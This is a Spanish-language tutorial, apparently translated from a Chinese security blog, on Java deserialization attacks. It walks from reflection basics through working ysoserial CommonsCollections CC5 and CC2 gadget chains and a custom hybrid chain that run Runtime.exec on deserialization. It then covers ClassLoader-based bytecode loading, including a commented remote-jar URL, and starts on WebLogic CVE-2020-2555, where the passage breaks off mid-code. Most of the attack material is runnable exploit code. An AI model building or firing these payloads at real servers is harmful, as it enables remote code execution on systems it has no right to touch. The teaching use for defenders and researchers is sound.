
WebLogic explota CVE-2020-2883 para atacar la vulnerabilidad de deserialización de Shiro rememberMe, registrando un shell de memoria filter de AntSword con un solo clic.
Los aspectos cubiertos en esta presentación son los siguientes:
La serialización de Java se refiere al proceso de convertir objetos Java en una secuencia de bytes para facilitar su almacenamiento en memoria, archivos o bases de datos. El método
writeObject()de la claseObjectOutputStreampuede implementar la serialización, transformando objetos Java en secuencias de bytes.La deserialización de Java se refiere al proceso de restaurar una secuencia de bytes a un objeto Java. El método
readObject()de la claseObjectInputStreamse utiliza para la deserialización.
Ponga un ejemplo simple, vea el código SerializeAndDeserialize ps: Preste especial atención a la conversión forzada de tipos en el código```java
package org.chabug.demo;
import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;
/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化 并且Java内置的几大数据类型也可被序列化,因为他们都继承了Object类 */
public class SerializeAndDeserialize {
public static void main(String[] args) throws Exception {
byte[] bytes;
String s1 = "I'm a String Object....";
bytes = Serializables.serializeToBytes(s1);
Object o1 = Serializables.deserializeFromBytes(bytes);
System.out.println(o1);
String[] s2 = new String[]{"tom", "bob", "jack"};
bytes = Serializables.serializeToBytes(s2);
String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
System.out.println(o2);
int i = 123;
bytes = Serializables.serializeToBytes(i);
int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
System.out.println(o3);
// 一只名叫woody的狗
Dog dog = new Dog();
dog.setName("woody");
// tom
Person tom = new Person();
tom.setAge(14);
tom.setName("tom");
tom.setSex("男");
tom.setDog(dog);
bytes = Serializables.serializeToBytes(tom);
Person o = (Person) Serializables.deserializeFromBytes(bytes);
System.out.println(o);
}
}
Los tipos de datos incorporados de Java, como String, Integer, arrays y objetos Object, pueden serializarse. Las clases que escribimos nosotros mismos, como Person y Dog, pueden serializarse y deserializarse siempre que implementen la interfaz Serializable.
## ¿Por qué se producen vulnerabilidades durante la deserialización?
Veamos un fragmento de código. Ahora tenemos una clase de entidad maliciosa llamada EvilClass```java
package org.chabug.entity;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class EvilClass implements Serializable {
String name;
public EvilClass() {
System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
}
public EvilClass(String name) {
System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
this.name = name;
}
public String getName() {
System.out.println(this.getClass() + "的getName被调用!!!!!!");
return name;
}
public void setName(String name) {
System.out.println(this.getClass() + "的setName被调用!!!!!!");
this.name = name;
}
@Override
public String toString() {
System.out.println(this.getClass() + "的toString()被调用!!!!!!");
return "EvilClass{" +
"name='" + getName() + '\'' +
'}';
}
private void readObject(ObjectInputStream in) throws Exception {
//执行默认的readObject()方法
in.defaultReadObject();
System.out.println(this.getClass() + "readObject()被调用!!!!!!");
Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
}
}
En su readObject, hay código que ejecuta comandos con Runtime.getRuntime().exec(new String[]{"cmd", "/c", name}). El parámetro name es el comando a ejecutar. Entonces podemos construir un objeto malicioso, asignar su atributo name al comando que queremos ejecutar, y cuando la deserialización active readObject, se producirá RCE. Como sigue```java
package org.chabug.demo;
import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;
public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

Ahora que sabemos cómo la deserialización puede ser explotada para obtener RCE, en el desarrollo real tampoco se escribe así directamente, por lo que aquí entra en juego la búsqueda de cadenas de explotación. Una vulnerabilidad de deserialización requiere tres elementos:
1. Punto de entrada de deserialización (source)
2. Método destino (sink)
3. Cadena de gadgets (gadget chain)
Si observamos con atención los resultados de la salida en la imagen anterior, no solo se activa el método `readObject`, sino también `toString()`, el constructor sin argumentos, `set` y `get`. Por lo tanto, en la búsqueda real de cadenas de explotación no solo hay que centrarse en el método `readObject()`.
Ahora necesitamos entender el concepto de **reflexión**. Anteriormente mencionamos el problema de **conversión forzada de tipos**. En el desarrollo real, dentro de `readObject` se realiza un procesamiento lógico. Cuando no se conoce el tipo de datos específico del objeto entrante, se determina la llamada mediante reflexión, y la reflexión es un medio importante para lograr RCE.
## Reflexión en Java
¿Qué es la reflexión? La palabra "reflexión" contiene el prefijo "re-", por lo que para explicar la reflexión debemos empezar por el "lado directo". Veamos el código. Esta es mi clase de entidad.```java
package org.chabug.entity;
import java.io.IOException;
public class ReflectionClass {
String name;
public ReflectionClass(String name) {
this.name = name;
}
public ReflectionClass() {
}
public String say() {
return this.name;
}
private void evil(String cmd) {
try {
Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String toString() {
return "ReflectionClass{" +
"name='" + name + '\'' +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
escritura normal```java package org.chabug.demo;
import org.chabug.entity.ReflectionClass;
public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }
Muy simple: se crea una instancia de `ReflectionClass` mediante `new`, y luego se invoca un método de esa instancia. Esto es "reflexión directa". Pero, ¿qué hacer si no se conoce el nombre de la clase al hacer `new`? ¿Cómo invocar métodos protegidos por `private`? Aquí es donde se manifiesta la utilidad de la reflexión. Mira el siguiente fragmento de código:```java
package org.chabug.demo;
import org.chabug.entity.ReflectionClass;
import java.lang.reflect.Method;
public class ReflectionDemo {
public static void main(String[] args) throws Exception {
// new
Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
Object o = aClass.newInstance();
// setName("jack")
Method setName = aClass.getDeclaredMethod("setName",String.class);
setName.invoke(o, "jack");
// say()
Method say = aClass.getDeclaredMethod("say",null);
Object o1 = say.invoke(o, null);
System.out.println(o1);
// evil("calc")
// 反射可以修改方法的修饰符来调用private方法
Method evil = aClass.getDeclaredMethod("evil", String.class);
evil.setAccessible(true);
evil.invoke(o,"calc");
}
}
No es necesario conocer el nombre de la clase de antemano, basta con modificar la clase org.chabug.entity.ReflectionClass para pasarla como parámetro, y se puede usar setAccessible para obtener métodos o campos privados.
A continuación, partiendo de la vulnerabilidad, profundizaremos en el papel de la reflexión en la deserialización y la exploración de las cadenas de invocación de la deserialización.
ysoserial es una herramienta para generar exploits de serialización de Java, que incluye algunos exploits conocidos, como las varias cadenas de explotación de CommonsCollections. Esta vez se analizarán las cadenas CC2 y CC5. La razón para analizar estas dos es que en CC2 se utiliza la operación de definir bytecode, y en CC5 para profundizar en la comprensión de la reflexión y las invocaciones encadenadas.
Primero veamos la cadena CC5, que es más fácil de entender.
La vulnerabilidad aparece en `org.apache.commons.collections.functors.InvokerTransformer#transform````java public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
Comparando con el código del capítulo sobre reflexión, se puede ver que esto es un uso muy evidente de reflexión; si se explica con el código directo, sería```java
input.iMethodName(iArgs);
this.iMethodName, this.iParamTypes y this.iArgs son todos controlables en el constructor. Por lo tanto, se puede invocar cualquier método del objeto input y pasar cualquier parámetro.```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
Por lo tanto, primero un código para ejecutar comandos```java
package org.chabug.demo;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC5 {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
Debido a que la clase Runtime es un patrón singleton, es necesario obtener el objeto Runtime en tiempo de ejecución a través de getRuntime(), y luego pasarlo a transform() para que aparezca la calculadora.

Pero sabemos que durante la deserialización solo se ejecuta automáticamente readObject(). Si en este punto se construye directamente un objeto InvokerTransformer, aún es necesario resolver dos problemas:
Runtime.getRuntime()invokerTransformer.transform()Primero abordemos el primer problema. En org.apache.commons.collections.functors.ChainedTransformer#transform se puede implementar una llamada en cadena.```java
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
La definición de this.iTransformers es un array de Transformer.```java
private final Transformer[] iTransformers;
Transformer es una interfaz, e InvokerTransformer también implementa esta interfaz.

Según el principio de conversión de tipos implícita de Java, podemos definir un array de Transformer, colocar múltiples InvokerTransformer en él para realizar múltiples invocaciones reflectivas y obtener Runtime.getRuntime().exec()```java package org.chabug.demo;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }
Donde es ingenioso que a través del constructor de la clase ConstantTransformer se pasa `Runtime.class`, de esta manera no necesitamos pasar `Runtime` nosotros mismos.
Ahora necesitamos resolver el segundo problema: cómo activar automáticamente `transform()`. Se sabe que `readObject()` se ejecuta durante la deserialización, entonces, ¿en qué clase su `readObject()` llama directa o indirectamente a `transform()`?
En `org.apache.commons.collections.map.LazyMap#get` se llama a `transform()`.```java
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
Observa el método constructor y el campo factory de esta clase```java protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
El campo 'factory' está modificado por 'final' y 'protected', pero tiene un método público 'decorate()' para generar objetos de esta clase, entonces se puede construir de la siguiente manera```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test"); //执行这个就会弹出计算器 map.get() > transform()
En este momento se está buscando dónde se llama al método get() del map org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;
public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }
getValue() llama directamente a map.get(), y this.key también podemos controlarlo. Por su parte, toString() llama a this.getValue(). Ahora continuamos construyendo.```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString(); // toString > getValue() > map.get()
Entonces, el problema ahora es cómo hacer que readObject active automáticamente toString(), esto es simple, en las clases integradas del JDK hay una clase de excepción BadAttributeValueExpException, cuyo readObject() ejecutará toString()```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
Ya que System.getSecurityManager() es null por defecto, se desencadena val = valObj.toString(), se entra en TiedMapEntry.toString(), el payload final.```java
package org.chabug.demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
// ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers);
// chain.transform(null);
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("asd");
TiedMapEntry key = new TiedMapEntry(map, "key");
// key.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, key);
byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
Serializables.deserializeFromBytes(bytes);
}
}

Cabe señalar que, al declarar el objeto BadAttributeValueExpException, no se pasó directamente el parámetro entry, sino que se asignó mediante reflexión. Esto se debe a que el constructor de BadAttributeValueExpException comprueba si el valor es nulo; si no lo es, durante la serialización se ejecutará toString(), por lo que durante la deserialización, dado que entry ya es una cadena, no se activará el método toString().
Resumen: Uso flexible de la reflexión junto con llamadas encadenadas, y luego buscar un gadget para lograr RCE con éxito.```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */
### CommonsCollections2
Antes de presentar CC2, primero es necesario comprender el bytecode de Java. En Java, todo el código Java debe compilarse en archivos de bytecode class para que la JVM lo ejecute. El bytecode se asemeja más a un lenguaje ensamblador, con muy baja legibilidad, pero aún así existen muchas bibliotecas excelentes para manipular, modificar y editar bytecode con fines de programación, como asm, cglib y javassist. En la herramienta ysoserial se utiliza la biblioteca javassist. Primero, veamos cómo está escrito el payload de cc2 en ysoserial.```java
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
Primero observe Gadgets.createTemplatesImpl(command) en la primera línea```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
Mencionando la clase `org.apache.xalan.xsltc.trax.TemplatesImpl`, entonces primero tenemos que ver dos líneas de código.```java
package org.chabug.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;
public class CC2 {
public static void main(String[] args) throws Exception {
TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
object.newTransformer();
}
}

¿Por qué aparece la calculadora? Investigación profunda sobre createTemplatesImpl()```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
El código anterior hace lo siguiente:
1. Instancia un objeto `org.apache.xalan.xsltc.trax.TemplatesImpl` llamado templates, cuyo campo `_bytecodes` puede almacenar bytecode.
2. Escribió una clase `StubTransletPayload` que hereda de `AbstractTranslet` e implementa la interfaz `Serializable`.
3. Obtiene el bytecode de `StubTransletPayload` y usa javassist para insertar bytecode en `templates` (ejecución del comando Runtime.exec).
4. Establece mediante reflexión el campo `_bytecodes` de `templates` para que contenga el bytecode de ejecución de comandos.
En realidad, se implementa una subclase de `org.apache.xalan.xsltc.trax.TemplatesImpl`, y luego se inserta su propio bytecode malicioso en el campo `_bytecodes`. Veamos newTransformer().```java
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
ejecutará getTransletInstance(), seguimiento```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
La siguiente línea crea una nueva instancia de la clase definida en el bytecode, y el bloque static en la clase definida en bytecode contiene Runtime.exec, lo que provoca RCE.```java
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance();
Entonces solo necesitamos encontrar una clase que llame a template.newTransformer() en readObject(). Es decir, PriorityQueue en el payload.
PriorityQueue es una cola de prioridad ilimitada basada en prioridad. Los elementos de la cola de prioridad se ordenan según su orden natural o según el
Comparatorproporcionado en la construcción de la cola, dependiendo del constructor utilizado.
Mira su método readObject().```java
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
Como es una cola de prioridad, entonces debe haber ordenación. En heapify()```java
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x); // 如果指定比较器就使用
else
siftDownComparable(k, x); // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
private void siftDownComparable(int k, E x) {
Comparable<? super E> key = (Comparable<? super E>)x;
int half = size >>> 1; // loop while a non-leaf
while (k < half) {
int child = (k << 1) + 1; // assume left child is least
Object c = queue[child];
int right = child + 1;
if (right < size &&
((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
c = queue[child = right];
if (key.compareTo((E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = key;
}
comparator es un comparador, cuando se especifica un comparator se entra en comparator.compare((E) c, (E) queue[right]). comparator es un objeto de la interfaz Comparator.```java
private final Comparator<? super E> comparator;
Al observar su relación de herencia, se descubre que la clase TransformingComparator en el paquete CC包 implementa la interfaz Comparator

Método compare() de TransformingComparator```java
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
¡Hey, esto no es exactamente la llamada reflexiva del método transform anterior! this.transformer contiene la clase InvokerTransformer, la llamada reflexiva a newTransformer() anterior resulta directamente en RCE. Construir payload.```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
Un punto que puede causar confusión está en `new InvokerTransformer("toString", new Class[0], new Object[0])`, ¿por qué se usa primero toString y luego se modifica mediante reflexión a newTransformer? Porque si se usara newTransformer directamente al serializar, se produciría un error `The method 'newTransformer' on 'class java.lang.Integer' does not exist`, por lo que ysoserial utiliza primero toString para convertir a cadena y comparar con el número 1, luego lo modifica mediante reflexión, lo cual es ingenioso.
Resumen:```java
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
CC2 utiliza la clase TemplatesImpl para lograr RCE mediante la inicialización de bytecode malicioso, mientras que CC5 implementa RCE a través de llamadas en cadena y reflexión paso a paso. Pero en esencia sigue siendo reflexión; modificando un poco las dos cadenas, se puede derivar otra cadena.```java package org.chabug.demo;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.chabug.util.Serializables; import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field; import java.util.PriorityQueue;
public class MyCC { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers);
Class clazz = ChainedTransformer.class;
Field iTransformers = clazz.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
Transformer[] transformers1 = new Transformer[]{
new InvokerTransformer("toString", new Class[]{}, new Object[]{})
};
ChainedTransformer chain1 = new ChainedTransformer(transformers1);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain1));
queue.add("1");
queue.add("1");
iTransformers.set(chain1, transformers);
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = Runtime.class;
queueArray[1] = 1;
byte[] bytes = Serializables.serializeToBytes(queue);
Serializables.deserializeFromBytes(bytes);
}
}
En realidad, es combinar la primera mitad de CC5 y la segunda mitad de CC2, usar la invocación en cadena de CC5 para ejecutar comandos y usar CC2 para desencadenar toString.
## Varios métodos de carga de clases con Java ClassLoader
> Java es un lenguaje compilado, todo el código Java necesita ser compilado en bytecode para que la JVM lo ejecute. Cuando se inicializa una clase Java, se llama a `java.lang.ClassLoader` para cargar el bytecode de la clase, y ClassLoader llama al método defineClass para crear una instancia de la clase `java.lang.Class`.
La clase ClassLoader es una clase abstracta y no se puede usar directamente. En el JDK hay varias clases de implementación concretas, como DefiningClassLoader, BCEL ClassLoader, GroovyClassLoader, URLClassLoader, org.python.core.BytecodeLoader de PythonInterpreter en Jython, etc. También se puede implementar un ClassLoader propio.
Este artículo explica principalmente tres métodos: URLClassLoader, BytecodeLoader y la definición propia de un ClassLoader para cargar clases desde bytecode.
### URLClassLoader```java
package org.chabug.loader;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoaderDemo {
public static void main(String[] args) throws Exception {
// URL url = new URL("https://baidu.com/cmd.jar"); // 也可以加载远程jar
URL url = new URL("file:///d:/calc.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 通过URLClassLoader加载jar包
Class<?> aClass = ucl.loadClass("org.chabug.demo.Calc");
aClass.newInstance();
}
}
El comando para crear el archivo jar es jar cvf calc.jar Calc.class, el código malicioso se escribe directamente en el bloque de código estático, y se ejecutará automáticamente al crear una nueva instancia de la clase con newInstance().

Se abrió la calculadora exitosamente

package org.chabug.loader;
import org.python.util.PythonInterpreter;
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream;
public class BytecodeLoaderLoader { public static void main(String[] args) throws Exception { String className = "org.chabug.demo.Calc"; byte[] bytes = getBytesByFile("E:\code\java\JavaSerialize\target\classes\org\chabug\demo\Calc.class"); String classBytes = ""; for (byte b : bytes) { classBytes += String.format("%s%s", b, ","); } String s = String.format("from org.python.core import BytecodeLoader;\n" + "from jarray import array\n" + "myList = [%s]\n" + "bb = array( myList, 'b')\n" + "BytecodeLoader.makeClass("%s",None,bb).getConstructor([]).newInstance([]);", classBytes, className); PythonInterpreter instance = PythonInterpreter.class.getConstructor(null).newInstance(); instance.exec(s); }
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}

### ClassLoader personalizado
```java
package org.chabug.loader;
import static org.chabug.loader.BytecodeLoaderLoader.getBytesByFile;
public class MyLoader extends ClassLoader {
public static String className = "org.chabug.demo.Calc";
public static byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class");
public static void main(String[] args) throws Exception {
new MyLoader().loadClass(className).newInstance();
}
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(className)) {
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(className, bytes, 0, bytes.length);
}
return super.findClass(name);
}
}
Estos dos agujeros son muy similares en forma a la cadena CC, solo que la construcción del gadget es diferente. Primero veamos el CVE-2020-2555, que fue el primero en aparecer.
El problema se encuentra en com.tangosol.util.extractor.ReflectionExtractor#extract```java public Object extract(Object oTarget) { if (oTarget == null) { return null; } else { Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
